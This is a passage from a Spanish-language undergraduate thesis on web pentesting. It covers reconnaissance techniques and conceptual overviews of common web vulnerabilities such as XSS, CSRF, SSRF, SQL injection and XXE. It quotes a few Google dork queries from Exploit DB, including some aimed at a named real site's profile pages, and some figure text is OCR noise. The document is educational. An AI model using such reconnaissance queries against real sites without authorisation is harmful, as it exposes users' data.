Hay diferentes formas de realizar la investigacion para el descubrimiento de contenido. La
primera de todas es intentar descubrir archivos y directorios mediante fuerza bruta, pero el
éxito de esta forma depende de la wordlist que se esté usando. Como ya he comentado
anteriormente, hay muchas wordlists colgadas en la red creadas por distintas personas para
este fin.

Una vez se tiene un listado de nombres de archivos y directorios (wordlist) hay varias
herramientas que permiten testear, dados un dominio y un wordlist, la existencia de archivos
y directorios junto a la confirmacién de la respuesta del servidor. Algunas de estas
herramientas podrian ser “Gobuster” y “Burp Suite Pro”.
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Cuando es necesario ir mas alla de la fuerza bruta de archivos y directorios, “Google
Dorking” proporciona un descubrimiento de contenido interesante. Una busqueda de Google
Dork es un string de busqueda el cual utiliza operadores de busqueda avanzados para
buscar informacién que no esta disponible en una pagina web. Google Dorking (También
conocido como Google Hacking) puede devolver informacién que es dificil de encontrar
mediante busquedas normales. Utilizar esto puede ahorrar mucho tiempo cuando se
encuentran parametros en las URL asociados a vulnerabilidades. Exploit DB tiene una base
de datos de Google Dorks para casos de uso especificos.

Y Filters Y Reset A

[{3]
f(_)
L

ialals

Advisories and

o Amador Aparicio
Vulnerabilities

2019-04-25 site:connect.garmin.com inurl:’/modern/profile/"

Advisories and

2019-04-25 site:connect.garmin.com inurl:"/modern/activity/ Jul iliti
Vulnerabilities

Amador Aparicio

Pages Containing Login

Pancaker
Portals

2019-04-24 intitle:"gBittorrent Web UI" inurl:8080

2019-04-23  intext:"series Network Configuration” AND intext:"canon’ Various Online Devices EJUPI Békim

llustracién 70 - Google Dorks DB en Exploit DB

Otra forma de encontrar contenido interesante es mirar el GitHub de la compafia. Se puede
encontrar repositorios de open source o informacion util sobre la tecnologia que utilizan.
Adicionalmente, se puede revisar repositorios de cddigo y encontrar librerias de terceros las
cuales utiliza una aplicacién. También es posible encontrar un proyecto abandonado o una
vulnerabilidad en las aplicaciones o librerias de terceros que afecte el sitio. Los repositorios
de codigo también pueden dar una visibn de como la compafiia ha manejado
vulnerabilidades anteriores.

1.5. Errores anteriores.

Una de las ultimas etapas del reconocimiento es la busqueda de errores (bugs) anteriores,
mediante informes de hackers, reports de la compafia, CVEs, exploits publicados, foros,
etc. Aunque el codigo esté actualizado no significa que todas las vulnerabilidades estén
arregladas. Cuando un error se arregla y se aplica un fix, significa que hay un cédigo nuevo,
por lo tanto puede significar que haya mas errores en este.

Una vez cubiertas todas las partes del reconocimiento, vamos a pasar a describir el testeo
de la aplicacién como tal.
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6.1.2.2. Testeo de la aplicacién

A la hora de testear una aplicacién no hay una aproximacién concreta que sea mejor o peor.
La metodologia y las técnicas empleadas van a depender del tipo de aplicacién que se esta
testeando, parecido a que la dimension del programa define el reconocimiento. Vamos a ver
una visién general de las consideraciones e ideas que hay que tener cuando se esta
testeando un nuevo sitio.

2.1. La pila de tecnologia.

Una de las primeras cosas a tener en cuenta cuando se testea la aplicacion es identificar las
tecnologias que esta utilizando. Estas tecnologias pueden ser, por ejemplo: JavaScript
frameworks, frameworks de servidor, servicios de terceros, archivos remotos, etc. Existe un
plugin para Firefox llamado “Wappalyzer” el cual es genial para identificar estas tecnologias.

Una vez se esta en el paso de reconocer las tecnologias del sitio, hay que entender la
funcionalidad de este Yy fijarse en patrones de disefio interesantes. Por poner un ejemplo, un
sitio que utiliza AngularJS se puede testear a introducir algun cédigo en concreto a ver si
renderiza numeros. Si un sitio se ha creado con ASP.NET con proteccion XSS, seria mejor
buscar otras vulnerabilidades antes que probar XSS. Con esto quiero decir que es
importante conocer las tecnologias que existen y sobre todo ver las que el sitio esta
utilizando. Un mayor entendimiento de como funcionan estas tecnologias puede llevar a un
fallo en la seguridad y poder explotarlo.

Varios puntos a tener en cuenta:

- Formatos de contenido que un sitio espera o acepta. Por poner un ejemplo, los
archivos XML tienen diferentes estructuras y tamanos y el XML parsing puede ser
asociado a vulnerabilidades XXE (External entity Vulnerability). Sitios que aceptan la
carga de archivos .docx, .xIsx, .pptx o otros XML son para tener en cuenta.

- Herramientas o servicios de terceros que facilmente estan mal configurados. En
caso de leer informes de vulnerabilidades de otros hackers, hay que intentar
entender como encontraron la vulnerabilidad y cémo aplicarla al testeo.

- Parametros codificados y cémo una aplicacion los maneja. Las rarezas en los
parametros pueden ser indicativo de multiples servicios que interactian en el
backend, que podrian ser explotados.

- Mecanismos de autenticacién implementados personalizados. Pequenas diferencias
en cdmo una aplicacién maneja la redireccion de URLs, codificacion y parametros de
estado pueden llevar a vulnerabilidades importantes.

2.2. Mapeo de funcionalidades.

Una vez se enumeran y entienden las diferentes tecnologias utilizadas por el sitios,
podemos pasar al mapeo de funcionalidades. En este punto el testeo puede ir de una de las
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siguientes formas: Buscar marcadores de vulnerabilidades, definir un objetivo concreto para
el testeo o seguir una checklist.

Cuando se esta buscando marcadores de vulnerabilidades hay que buscar comportamiento
asociado a vulnerabilidades. Por ejemplo, ¢ el sitio permite crear webhooks con URLs? Esto
puede llevar a vulnerabilidades SSF. ;Se pueden subir archivos? Donde y como se
renderizan estos archivos pueden llevar a una vulnerabilidad de ejecucion de codigo
remoto. Es de buena practica que cuando se encuentra algo interesante parar y empezar el
testeo de la aplicacion para encontrar algun indicador de alguna vulnerabilidad existente.
Puede ser un mensaje devuelto inesperado, un retraso en el tiempo de espera de la
respuesta, etc.

Por otro lado, cuando se define y se trabaja para llegar a un objetivo, esta bien decidir que
hacer antes de testear la aplicacién. El objetivo podria ser el encontrar una vulnerabilidad en
concreto. Con esta meta se ignoran las otras posibilidades y se centra completamente en el
objetivo principal.

Por ultimo, se puede seguir una serie de checklists ya definidos en las metodologias, como
por ejemplo la de OWASP. Estas metodologias proporcionan una lista de puntos para el
testeo cuando se esta haciendo un review de la aplicacién. Seguir una checklist ya creada y
verificada por cierta clase de organismo o profesionales, puede ayudar a pasar por alto
vulnerabilidades por no testear alguna funcionalidad especifica o olvidar alguna metodologia
general.

2.3. Encontrar vulnerabilidades.

En este punto ya se deberia tener un amplio conocimiento de la aplicaciéon y el cédmo
funciona, es hora de empezar a testear. En vez de establecer un objetivo personal o seguir
un checklist como se ha podido hacer antes, es recomendable buscar comportamiento que
pueda indicar que hay una vulnerabilidad para empezar. Para ello se pueden utilizar
herramientas las cuales son escaneres automaticos como puede ser “Burp”. El problema de
estas herramientas es que, entre otras cosas hace mucho ruido y las aplicaciones no lo
permiten usar.

En caso de empezar el testeo y no encontrar nada interesante durante el mapeo de
funcionalidades es recomendable empezar a usar la web como un cliente. Crear contenido,
usuarios, equipos, subir archivos, lo que sea que permita hacer la aplicacién. Mientras se
esta haciendo este apartado, es comun introducir “payloads” donde se acepte la entrada de
contenido, para buscar anomalias o comportamiento inesperado del sitio. Estos payloads se
componen de una serie de caracteres especiales para intentar romper la integridad del sitio
y lo que se renderiza. Este tipo de payloads se llaman polyglot.

Asimismo mientras se crea contenido como usuario o cliente y este se renderiza en un
panel de administrador, se puede utilizar otro tipo de payload destinado a encontrar XSS
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(Cross-site scripting). Por otro lado, si la aplicacion esta utilizando una plantilla, se pueden
introducir payloads asociados con dicha plantilla.

Vamos a dar un repaso a algunas de las vulnerabilidades a tener en cuenta y en que
deberiamos fijarnos para detectarlas.

- CSRF. Los tipos de peticiones HTTP que cambian datos y si tienen CSRF tokens
que los estén validando.

- IDORs. Donde haya parametros de ID que puedan ser manipulados.

- Application logic. Oportunidades para repetir peticiones desde dos cuentas de
usuario separadas.

- XXE. Cualquier XML que acepte peticiones HTTP.

- Open redirects. Cualquier URL que tenga un parametro de redireccionamiento.

- CRLFs, XSS, etc. Cualquier peticion que reproduzca parametros URL en la
respuesta.

- SQLi. Cuando se agrega algun parametro y cambia la respuesta.

- RCEs. Cualquier tipo de carga de archivo o manipulaciéon de imagen.

- Race conditions. Cuando hay retraso en el procesado de datos.
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6.2. VULNERABILIDADES

En el apartado de introduccion se ha hablado que mediante el informe anual de la empresa
Acunetix de 2019, aproximadamente el 60% de las aplicaciones web dispone de
vulnerabilidades.

Viendo otro informe, concretamente el “Automated Code Analysis: Web Application
Vulnerabilities in 2017”, todas las aplicaciones web que han sido analizadas por la empresa
Positive Technologies contenian vulnerabilidades de distinta gravedad. Ademas del 94% de
las aplicaciones contenian una vulnerabilidad muy grave, y el 85% tenian una vulnerabilidad
explotable.

Para hacer este informe, Positive Technologies evalué 33 aplicaciones. Algunas de ellas
estaban disponibles publicamente en el momento del analisis, mientras que otras
funcionaban solo internamente para funciones comerciales. Todas las aplicaciones eran
susceptibles a errores de cédigo o debilidades de configuracion.

De todas las vulnerabilidades identificadas, los fallos de cross-site scripting (XSS) fueron los
mas frecuentes, presentes en el 82% de las aplicaciones, seguidas por HTTP response
splitting con un 58% y lectura de archivos arbitrarios con un 52%.

Ademas de permitir ataques contra usuarios, las vulnerabilidades descubiertas en el 70% de
las aplicaciones sentaban las bases para lanzar ataques de denegacién de servicio (DoS).
Esta amenaza de nivel medio era la mas comun, seguida de otras cuatro de alta gravedad,
incluida la lectura arbitraria de archivos (61%), el control del sistema operativo (55%), el
acceso no autorizado a la base de datos (45%) y la eliminacién o modificacion de archivos
del servidor (42%).

Podemos ver en el siguiente grafico la cantidad de vulnerabilidades por tipo desde 1999
hasta 2019.
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llustracién 71 - Vulnerabilidades por tipo - Fuente: CVE Details
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En el transcurso de casi 20 anos las vulnerabilidades mas frecuentes han cambiado mucho.
Para hacernos una idea de a que nos podemos enfrentar en los ultimos tiempos, podemos
ver una grafica con las vulnerabilidades mas frecuentes en 2018.

Tipos de vulnerabilidades mas frecuentes durante 2018
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llustracion 72 - Vulnerabilidades mas frecuentes en 2018 - Fuente: welivesecurity.com

Podemos ver que de las vulnerabilidades mas frecuentes en 2018 fueron la ejecucion de
codigo (23%), ataques de overflow (18%) y de XXS (15%). Cabe destacar también que el
79% de las vulnerabilidades de ejecucién de codigo eran graves. No es de extranar
entonces que la explotacion de vulnerabilidades sea uno de los vectores de compromiso
mas utilizados.

Podemos ver mas datos sobre vulnerabilidades web mediante el documento OWASP Top
10. ElI Top 10 de OWASP es un informe actualizado periddicamente que describe los
problemas de seguridad para la seguridad de las aplicaciones web, y se centra en los 10
riesgos mas criticos. El informe es elaborado por un equipo de expertos en seguridad de
todo el mundo. OWASP se refiere al Top 10 como un "documento de concienciacion" y
recomienda que todas las empresas incorporen el informe en sus procesos para minimizar y
mitigar los riesgos de seguridad.

OWASP Top 10:
https://www.owasp.org/images/7/72/OWASP Top 10-2017 %28en%29.pdf.pdf

En este apartado se va dar una vision general de las vulnerabilidades mas importantes que
existen. Cada una de las vulnerabilidades explicadas contiene un cédigo QR y un enlace los
cuales derivan a un video explicativo de dicha vulnerabilidad, grabados exclusivamente para
este trabajo.
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6.2.1. CRLF Injection

[Enlace al video]

Esta vulnerabilidad ocurre cuando un atacante es capaz de inyectar datos en una peticion a
un servidor, debido a la falta de filtrado de datos de entrada por parte del mismo. En este
caso, la web afectada permite pasar directamente valores a los campos de respuesta
(Location, Set-Cookie..) sin sanearlos lo que a su vez nos permite diversos tipos de ataque
como XSS, Cache-Poisoning, Cache-based defacement,page injection..

Las siglas CRLF vienen de CR (Carriage return o retorno de carro) y de LF (Line Feed o
salto de linea). Ambos son caracteres "invisibles" que indican el final de linea para
importantes protocolos como HTTP, MIME o NNTP. En cédigo ASCII el CR tiene valor 13 y
el LF valor 10 y a veces se escriben de la manera siguiente "r\n\".

El ataqgue CRLF ocurre cuando un atacante consigue, modificando un parametro HTTP o
URL, inyectar el cédigo correspondiente a CRLF al servido, lo que le permite manipular
muchos aspectos de la propia peticion.

El método mas efectivo para evitar estos es aplicar filtros sobre cualquier dato que entre a
nuestro servidor o a nuestra web, examinando y saneando las diferentes variables que
puedan aprovecharse de CRLF. Para ayudarnos en la tarea de localizar puntos vulnerables
en nuestra web siempre podemos utilizar scanners de vulnerabilidades automatizados que
suelen encontrar este tipo de vulnerabilidades.
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6.2.2. Cross-Site Request Forgery

[Enlace al video]

El ataque Cross-Site Request Forgery (CSRF) es una ataque que a diferencia del
Cross-Site Scripting, se basa en la confianza de una web en el usuario que va a ser victima
del ataque. Aprovechando esa confianza y a través de los permisos efectivos en ese
momento de ese usuario en la web, se pueden ejecutar scripts para que la victima ejecute
acciones sin ser consciente de ello.

Este tipo de ataques se centra no tanto en el robo de datos ya que el atacante no puede ver
la respuesta a la peticion manipulada sino en el cambio de estado de los mismos.
Dependiendo del nivel de acceso de la victima el atacante podria desde cambiar datos de la
cuenta de la victima hasta tomar control de la aplicacion web pasando por transferir
dinero,etc...

Para la mayoria de servicios web, las peticiones incluyen las credenciales del usuario
autenticado ya sea a través de cookies de sesién, IP, credenciales de dominio,etc... por ello
si la aplicacion web no cuenta con las medidas para contrarrestar CSRF, no tendria manera
de distinguir entre las peticiones legitimas de la victima y las que a través de un ataque
CSRF se lancen en su nombre en ese mismo momento en el que esta autenticado. Aunque
la mayoria de scripts actualmente de CSRF son estaticos existen teéricamente también
ataques dinamicos que pueden adaptarse a las sesiones que tengamos abiertas en nuestro
navegador.

Es posible incluso almacenar un ataque CSRF en el propio servidor, a través de un tag de
IMG o IFRAME en el codigo, esto se denomina "Stored CSRF Flaws". En este caso es mas
probable que el ataque sea exitoso ya que la victima estara autenticada en el momento de
ejecutar ese cdédigo en esa determinada web. Este tipo de ataque se ha encontrado
principalmente en foros donde cualquier usuario puede postear facilmente imagenes y
tendra un gran numero de victimas potenciales de su script.

Otra variante de un ataque CSRF seria la de “Login CSRF” en este caso un atacante podria

forzar a una victima a loguearse con las credenciales del atacante en un servicio, en el caso
que la victima no detecte esto continuara trabajando normalmente y a posteriori el atacante
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podra entrar con sus propias credenciales y ver actividad, archivos,etc.. que la victima haya
podido dejar en el servicio.

La prevencion de este ataque se realiza afladiendo métodos de autenticacidon adicionales
para las peticiones. De esta manera se pueden detectar peticiones no autorizadas. Algunas
de las técnicas que implementan esto son las siguientes:

Synchronizer token pattern

Esta técnica incluye un token unico y secreto para cada peticion web (o sesidn) ,el token se
genera aleatoriamente y es comprobado por el servidor. De esta manera un atacante no
puede conocer cual es el valor correcto y por tanto no puede enviar una peticion efectiva al
servidor.

Cookie-to-Header Token

Este sistema es usado por la mayoria de aplicaciones web basadas en JavaScript. En el
momento del login la aplicacién web crea una cookie con un token unico y aleatorio para la
sesion. El JavaScript en el cliente lee el valor y lo aflade a la cabecera de cada peticion
HTTP. La seguridad de este método se basa en que solo el JavaScript original puede leer
este token y por tanto no se podra crear una cabecera HTTP por otro script utilizandolo.
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6.2.3. Cross-Site Scripting

[Enlace al video]

Cross-site scripting (XSS) es un tipo de vulnerabilidad informatica o agujero de seguridad
tipico de las aplicaciones web, que puede permitir a una tercera persona inyectar en
paginas web visitadas por el usuario codigo JavaScript o en otro lenguaje similar (como por
ejemplo VBScript), se puede evitar usando medidas como CSP Politica del mismo origen.

Es posible encontrar una vulnerabilidad de Cross-Site Scripting en aplicaciones que tengan
entre sus funciones presentar la informacion en un navegador web u otro contenedor de
paginas web. Sin embargo, no se limita a sitios web disponibles en Internet, ya que puede
haber aplicaciones locales vulnerables a XSS, o incluso el navegador en si.

XSS es un vector de ataque que puede ser utilizado para robar informacion delicada,
secuestrar sesiones de usuario, y comprometer el navegador, subyugando la integridad del
sistema. Las vulnerabilidades XSS han existido desde los primeros dias de la web.

Esta situacion es usualmente causada al no validar correctamente los datos de entrada que
son usados en cierta aplicacion, o no sanear la salida adecuadamente para su presentacion
como pagina web.

Esta vulnerabilidad puede estar presente de las siguientes formas:

Directa (también llamada Persistente): este tipo de XSS comunmente filtrado, y consiste en
insertar cédigo HTML peligroso en sitios que lo permitan; incluyendo asi etiquetas como
<script> o <iframe>.

Indirecta (también llamada Reflejada): este tipo de XSS consiste en modificar valores que la
aplicacion web utiliza para pasar variables entre dos paginas, sin usar sesiones y sucede
cuando hay un mensaje o una ruta en la URL del navegador, en una cookie, o cualquier otra
cabecera HTTP (en algunos navegadores y aplicaciones web, esto podria extenderse al
DOM del navegador).
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6.2.4. HTML Injection

[Enlace al video]

La inyeccion de HTML es un tipo de problema de inyeccion que se produce cuando un
usuario puede controlar un punto de entrada y puede inyectar cédigo HTML en una pagina
web vulnerable. Esta vulnerabilidad puede tener muchas consecuencias, como por ejemplo
la divulgacién de las cookies de sesién de un usuario, que podrian usarse para hacerse
pasar por la victima o, mas generalmente, puede permitir que el atacante modifique el
contenido de la pagina que ven las victimas.

Esta vulnerabilidad se produce cuando la entrada del usuario no esta correctamente
saneada y la salida no esta codificada. Una inyeccion permite al atacante enviar una pagina
HTML maliciosa a la victima. El explorador objetivo no podra distinguir (confiar) la
legitimidad de las partes maliciosas y, en consecuencia, analizara y ejecutara todo como
legitimo en el contexto de la victima.

Existe una amplia gama de métodos y atributos que podrian usarse para representar
contenido HTML. Si estos métodos se proporcionan con una entrada no confiable, entonces
existe un alto riesgo de XSS, especificamente una inyeccién de HTML. El cédigo HTML
malicioso se puede inyectar, por ejemplo, a través de innerHTML, que se utiliza para
representar el cédigo HTML insertado por el usuario. Si las cadenas no se sanean
correctamente, el problema podria llevar a una inyeccion de HTML basada en XSS. Otro
método podria ser document.write().

La propiedad innerHTML establece o devuelve el HTML interno de un elemento. Un uso

incorrecto de esta propiedad podria permitir que un atacante pueda inyectar cédigo HTML
malicioso.
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6.2.5. Insecure Direct Object References

[Enlace al video]

Insecure Direct Object References o también llamadas IDOR se producen cuando una
aplicacion proporciona acceso directo a objetos en funcién de la entrada proporcionada por
el usuario. Como resultado de esta vulnerabilidad, los atacantes pueden omitir la
autorizacion y acceder a los recursos en el sistema directamente, por ejemplo, registros o
archivos de bases de datos.

Las IDOR permiten a los atacantes eludir la autorizacién y acceder a los recursos
directamente al modificar el valor de un parametro utilizado para apuntar directamente a un
objeto. Dichos recursos pueden ser entradas de la base de datos que pertenecen a otros
usuarios, archivos en el sistema y mas. Esto se debe al hecho de que la aplicacién toma la
entrada proporcionada por el usuario y la utiliza para recuperar un objeto sin realizar
suficientes controles de autorizacion.

Para probar esta vulnerabilidad, el usuario primero debe mapear todas las ubicaciones en la
aplicacion donde se usa la entrada del usuario para hacer referencia a objetos
directamente. Por ejemplo, ubicaciones donde se utiliza la entrada del usuario para acceder
a una fila de la base de datos, un archivo, paginas de aplicaciones y mas. A continuacion, el
usuario debe modificar el valor del parametro utilizado para hacer referencia a los objetos y
evaluar si es posible recuperar objetos que pertenecen a otros usuarios o0 si no pasar por
alto la autorizacion.

La mejor manera de probar las referencias directas de objetos seria tener al menos dos (a
menudo mas) usuarios para cubrir diferentes objetos y funciones. Por ejemplo, dos usuarios
que tienen acceso a diferentes objetos (como informacion de compra, mensajes privados,
etc.) y (si corresponde) usuarios con diferentes privilegios (por ejemplo, usuarios
administradores) para ver si hay referencias directas a la funcionalidad de la aplicacion. Al
tener varios usuarios.
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6.2.6. Open Redirect Vulnerabilities

[Enlace al video]

Una Open Redirect Vulnerability es cuando una aplicacién o servidor web utiliza un enlace
enviado por el usuario para redirigir al usuario a un sitio web o pagina determinada. Aunque
parezca una accién inofensiva, permitir que un usuario decida a qué pagina desea ser
redirigido, si se explota, esta técnica puede tener un impacto grave, especialmente cuando
se combina con otras vulnerabilidades.

Dado que el nombre de dominio en una URL suele ser el unico indicador para que un
usuario reconozca un sitio web legitimo de uno no legitimo, un atacante puede abusar de
esta confianza para explotar una vulnerabilidad de redireccionamiento abierta en el sitio web
vulnerable y redirigir al usuario a un pagina maliciosa para ejecutar mas ataques.

Los impactos de esta vulnerabilidad pueden ser muchos, y varian desde el robo de
informacion y las credenciales hasta la redireccion a sitios web maliciosos que contienen
contenido controlado por un atacante, que en algunos casos incluso causa ataques XSS.
Por lo tanto, aunque una redireccion abierta puede parecer inofensiva al principio, los
impactos de la misma pueden ser graves en caso de que puedan explotarse.

La forma mas facil y efectiva de prevenir esta vulnerabilidad seria no permitir que el usuario
controle a donde lo redirige la pagina. Si tiene que redirigir al usuario basandose en las
URL, siempre debe usar una ID que se resuelva internamente a la URL correspondiente. Si
se quiere que el usuario pueda emitir redirecciones, debe usar una pagina de redireccion
que requiera que el usuario haga clic en el enlace en lugar de simplemente redirigirlos.
También debe verificar que la URL comience con http:// o https:// y también invalidar todas
las demas URL para evitar el uso de URI maliciosos como javascript:.
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6.2.7. Remote Code Execution

[Enlace al video]

Remote Code Execution es una vulnerabilidad que puede ser explotada si la entrada del
usuario se inyecta en un archivo o una cadena y se ejecuta (evalia) mediante el analizador
del lenguaje de programacién. Por lo general, este comportamiento no esta pensado por el
desarrollador de la aplicacién web. Una evaluacién remota de cddigo o remote code
execution puede derivar a un compromiso total de la aplicacion web vulnerable y también
del servidor web. Es importante tener en cuenta que casi todos los lenguajes de
programacion tienen funciones de evaluacion de cédigos.

Una evaluacién de codigo puede ocurrir si permite la entrada del usuario dentro de las
funciones que estan evaluando el cddigo en el lenguaje de programacion respectivo. Esto
se puede implementar a propésito, por ejemplo, para acceder a las funciones matematicas
del lenguaje de programacion para crear una calculadora, o accidentalmente porque no se
espera una entrada controlada por el usuario del desarrollador dentro de esas funciones.
Generalmente no se aconseja hacerlo. De hecho, se considera una mala practica utilizar la
evaluacion de codigos.

Un atacante que puede ejecutar una falla de este tipo generalmente puede ejecutar
comandos con los privilegios del lenguaje de programacion o el servidor web. En muchos
lenguajes puede emitir comandos del sistema, escribir, eliminar o leer archivos o conectarse
a bases de datos.

Como regla general, hay que evitar utilizar la entrada del usuario dentro del cédigo
evaluado. La mejor opcién seria no usar funciones como eval. Se considera una mala
practica y, con frecuencia, puede evitarse por completo. Ademas, nunca debe permitir que
un usuario edite el contenido de los archivos que pueden ser analizados por los lenguajes
respectivos. Esto incluye no permitir que un usuario decida el nombre y las extensiones de
los archivos que puede cargar o crear en la aplicacion web.
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6.2.8. Server Side Request Forgery

[Enlace al video]

En un ataque SSRF, el atacante puede abusar de la funcionalidad del servidor para leer o
actualizar los recursos internos. El atacante puede suministrar o modificar una URL a la que
el codigo que se ejecuta en el servidor leerd o enviara datos, y al seleccionar
cuidadosamente las URL, el atacante podra leer la configuracion del servidor, como los
metadatos de AWS, y conectarse a servicios internos como a bases de datos con http
habilitado o realizar solicitudes posteriores a los servicios internos que no estan destinados
a ser expuestos.

La aplicacién de destino puede tener una funcionalidad para importar datos desde una URL,
publicar datos en una URL o leer datos de una URL que pueda manipularse. El atacante
modifica las llamadas a esta funcionalidad suministrando una URL completamente diferente
o0 manipulando cémo se construyen las URL (recorrido de la ruta, etc.).

Cuando la solicitud manipulada va al servidor, el codigo del lado del servidor recoge la URL
manipulada e intenta leer los datos a la URL manipulada. Al seleccionar las URL de destino,
el atacante puede leer datos de servicios que no estan directamente expuestos en Internet:

- Metadatos del servidor en la nube: los servicios en la nube como AWS proporcionan
una interfaz REST donde se pueden extraer configuraciones importantes y, a veces
incluso claves de autenticacion.

- Interfaces HTTP de la base de datos: la base de datos NoSQL como MongoDB
proporciona interfaces REST en los puertos HTTP. Si se espera que la base de
datos solo esté disponible para uso interno, la autenticacién puede estar
deshabilitada y el atacante puede extraer datos.

- Interfaces REST internas.

- Archivos: el atacante puede leer archivos utilizando file:// URIs.
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6.2.9. SQL Injection

[Enlace al video]

Inyeccion SQL es un método de infiltracion de cddigo intruso que se vale de una
vulnerabilidad presente en una aplicacién en el nivel de validacion de las entradas para
realizar operaciones sobre una base de datos.

El origen de la vulnerabilidad radica en la incorrecta comprobacién o filtrado de las variables
utilizadas en un programa que contiene, o bien genera, cédigo SQL. Es, de hecho, un error
de una clase mas general de vulnerabilidades que puede ocurrir en cualquier lenguaje de
programacion o script que esté embebido dentro de otro.

Se conoce como Inyeccion SQL, indistintamente, al tipo de vulnerabilidad, al método de
infiltracion, al hecho de incrustar codigo SQL intruso y a la porcién de cédigo incrustado.

Se dice que existe o se produjo una inyeccion SQL cuando, de alguna manera, se inserta o
"inyecta" codigo SQL invasor dentro del cédigo SQL programado, a fin de alterar el
funcionamiento normal del programa y lograr asi que se ejecute la porciéon de codigo
"invasor" incrustado, en la base de datos.
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6.2.10. Subdomain Takeover

[Enlace al video]

Un subdomain takeover es un proceso de registro de un nombre de dominio no existente
para obtener el control sobre otro dominio. El escenario mas comun de este proceso es el
siguiente:

1. El nombre de dominio (por ejemplo, sub.example.com) usa un registro CNAME para
otro dominio (por ejemplo, sub.example.com CNAME anotherdomain.com).

2. En algun momento en el tiempo, anotherdomain.com caduca y esta disponible para
su registro por cualquier persona.

3. Como el registro CNAME no se elimina de la zona DNS de example.com, cualquier
persona que registre anotherdomain.com tendria control total sobre
sub.example.com hasta que el registro DNS esté presente.

Las implicaciones de un subdomain takeover pueden ser bastante significativas. Los
atacantes pueden enviar correos electronicos de suplantacién de identidad (phishing) desde
el dominio legitimo, realizar scripts entre sitios (XSS) o dafar la reputacion de la marca
asociada al dominio.

El subdomain takeover no se limita a los registros CNAME. Los registros NS, MX e incluso A
también se ven afectados.

81


https://drive.google.com/open?id=161gxbSwGbIKnIWdw1Y9Ozhpz2-91w1Vk

6.2.11. Template Injection

[Enlace al video]

Los template engines son generalmente utilizados por las aplicaciones web para presentar
datos dinamicos a través de paginas web y correos electrénicos. La incorporacién incorrecta
de las entradas del usuario en las plantillas permite utilizar template injection, una
vulnerabilidad frecuentemente critica que es extremadamente facil de confundir con XSS, o
que se omite por completo. A diferencia de XSS, la inyeccion de plantillas se puede usar
para atacar directamente las partes internas de los servidores web y, a menudo, obtener la
ejecucion remota de coédigo (RCE), convirtiendo cada aplicacion vulnerable.

Template injection puede surgir tanto a través del error del desarrollador como a través de la
exposicion intencional de las plantillas en un intento por ofrecer una funcionalidad rica,
como lo hacen comunmente las wikis, blogs, aplicaciones de marketing y sistemas de
gestion de contenido. La inyeccién intencional de plantillas es un caso de uso tan comun
que muchos motores de plantillas ofrecen un modo de "espacio aislado" para este propdsito
expreso.
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6.2.12. XML External Entity Vulnerability

[Enlace al video]

Un ataque de entidad externa XML es un tipo de ataque contra una aplicacion que analiza la
entrada XML. Este ataque ocurre cuando la entrada XML que contiene una referencia a una
entidad externa es procesada por un analizador XML débilmente configurado. Este ataque
puede llevar a la divulgacion de datos confidenciales, denegacién de servicio, falsificacion
de solicitudes del lado del servidor, escaneo de puertos desde la perspectiva de la maquina
donde se encuentra el analizador y otros impactos del sistema.

El estandar XML 1.0 define la estructura de un documento XML. El estandar define un
concepto llamado entidad, que es una unidad de almacenamiento de algun tipo. Hay
diferentes tipos de entidades, la entidad externa, que puede acceder al contenido local o
remoto a través de un identificador del sistema declarado. Se supone que el identificador del
sistema es un URI que el procesador XML puede anular (acceder) al procesar la entidad. El
procesador XML reemplaza las ocurrencias de la entidad externa nombrada con los
contenidos que el identificador del sistema hace referencia. Si el identificador del sistema
contiene datos contaminados y el procesador XML no hace referencia a estos datos
contaminados, el procesador XML puede revelar informacion confidencial que normalmente
no es accesible por la aplicaciéon. Los vectores de ataque similares aplican el uso de DTD
externas, hojas de estilo externas, esquemas externos, etc. que, cuando se incluyen,
permiten ataques de estilo de inclusion de recursos externos similares.

Los ataques pueden incluir la divulgaciéon de archivos locales, que pueden contener datos
confidenciales, como contrasefias o datos privados del usuario, mediante el uso de
archivos, esquemas o rutas relativas en el identificador del sistema. Dado que el ataque
ocurre en relacién con la aplicacion que procesa el documento XML, un atacante puede
usar esta aplicacion confiable para pivotar hacia otros sistemas internos, posiblemente
revelando otro contenido interno a través de solicitudes http (s) o lanzando un ataque CSRF
a cualquier servicio interno no protegido. Otros ataques pueden acceder a recursos locales
que pueden no dejar de devolver datos, lo que podria afectar la disponibilidad de la
aplicacion si no se liberan demasiados procesos o subprocesos.
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7. CONCLUSIONES Y TRABAJO FUTURO

Las amenazas y los riesgos existentes en los sistemas y en las aplicaciones varian de
forma constante, aparecen nuevas vulnerabilidades y nuevos atacantes que ponen en jaque
a las organizaciones.

Este proyecto consta de estudiar las distintas vulnerabilidades existentes a dia de hoy y
mediante unos casos practicos testear estas diferentes vulnerabilidades para ver como
afecta y qué consecuencias tienen en una aplicacién web.

Como resultado de las pruebas de pentesting realizadas podemos decir que los
programadores somos humanos y cometemos errores, los cuales se transforman en
vulnerabilidades y vectores de ataque en las aplicaciones web que creamos. Hasta el
minimo detalle puede hacer que una pagina sea insegura y presente problemas. Para evitar
esto hay que volver a dar un repaso al codigo para detectar dichos fallos y poder corregirlos
antes de que sean explotados. Otra forma de proceder puede ser realizar pentesting contra
la propia pagina web y pasar algun software de deteccién de vulnerabilidades automatico y
asi ahorrar mucho tiempo.

Este apartado de vulnerabilidades web y en general la ciberseguridad no se estudia en todo
el grado de informatica y, desde mi punto de vista, es algo muy importante como para no
invertir un minimo de tiempo en unos estudios superiores.

Este proyecto se puede ampliar como trabajo futuro estudiando mas detalladamente las
vulnerabilidades u otras menos conocidas, asi como realizar mas casos de pentesting, un
estudio detallado de estos, un informe de vulnerabilidades, etc. Como bien se ha estudiado
la pagina web creada en una asignatura optativa, se podria realizar el mismo proceso en
otras aplicaciones o webs creadas en otros créditos del grado para detectar los distintos
errores y poder introducir el cédigo necesario para arreglarlos.

84



8. REFERENCIAS

HackerOne
https://www.hackerone.com/

Web Hacking 101 - Peter Yaworsky [Libro]

Owasp Top Ten - OWASP
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

CVE Details
https://www.cvedetails.com/

Open-Source Security Testing Methodology Manual
http://www.isecom.org/research/

SiteLock Blog
https://www.sitelock.com/blog/

Exploit Database
https://www.exploit-db.com/

PORTSWIGGER - Web security
https://portswigger.net/web-security

Hacking Etico Blog
https://hacking-etico.com/

85


https://www.hackerone.com/
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
https://www.cvedetails.com/
http://www.isecom.org/research/
https://www.sitelock.com/blog/
https://www.exploit-db.com/
https://portswigger.net/web-security
https://hacking-etico.com/

